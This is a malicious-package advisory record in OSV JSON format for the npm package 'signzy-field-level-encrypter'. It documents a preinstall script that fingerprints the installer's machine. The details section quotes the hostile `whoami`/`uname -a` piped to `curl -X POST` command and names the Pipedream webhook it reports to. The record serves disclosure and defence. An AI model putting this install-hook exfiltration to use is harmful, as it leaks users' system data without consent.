signzy-field-level-encrypter

{"schema_version":"1.7.4","id":"MAL-2026-10972","published":"2026-07-21T05:00:53Z","modified":"2026-08-04T22:32:06.111654311Z","summary":"Malicious code in signzy-field-level-encrypter (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451)\npackage.json declares a preinstall lifecycle script that runs `echo \"$(whoami): $(uname -a)\" | curl -X POST` against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On `npm install`, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.\n\n## Source: ossf-package-analysis (1620206c32062d89cd35aa65951fb139a004cf78c5d1b0b6eae1e7fb7378238e)\nThe OpenSSF Package Analysis project identified 'signzy-field-level-encrypter' @ 12.9.13 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"signzy-field-level-encrypter","ecosystem":"npm"},"versions":["12.9.13","12.9.12"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"771b506e127b28756f934568f065c21b2f5dc24ba77bb857df7cb992d253332c","tlsh":"d2e0f1a38d203b3345a08eeb546a471636637f7f12300c05b07b103941453505d6af16"}],"package_integrity":[{"filename":"signzy-field-level-encrypter-12.9.13.tgz","hashes":{"sha1":"06820e9accc51d880d2d4eff16bfea321b921280","sha512_sri":"sha512-Y6fevOCPkyYlMvUKbyyS4tDkAztEoUi0blScYdvcQ9jl9zL9gkv3kK/NNHo3FGzNEuvnYnn1qdEdumfHJ5edfQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/signzy-field-level-encrypter/v/12.9.13"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/signzy-field-level-encrypter/v/12.9.12"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-07-21T06:01:48.548405847Z","modified_time":"2026-07-21T05:55:43Z","sha256":"1620206c32062d89cd35aa65951fb139a004cf78c5d1b0b6eae1e7fb7378238e","source":"ossf-package-analysis","versions":["12.9.13"]},{"import_time":"2026-07-21T06:01:47.727628469Z","modified_time":"2026-07-21T05:00:53Z","sha256":"a26e1595aeb715183d2d73dae309253708ad01561fa6094f2d5413a3d8f9928d","source":"ossf-package-analysis","versions":["12.9.12"]},{"id":"IN-MAL-2026-011214","import_time":"2026-08-04T22:30:05.455939245Z","modified_time":"2026-08-04T21:48:49Z","sha256":"0af037030b5bba6dd2e26d9b2964482584befd6078f880d48c5ea438f662b81c","source":"amazon-inspector","versions":["12.9.13"]},{"id":"IN-MAL-2026-011113","import_time":"2026-08-04T22:29:59.923286309Z","modified_time":"2026-08-04T21:34:22Z","sha256":"38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451","source":"amazon-inspector","versions":["12.9.12"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}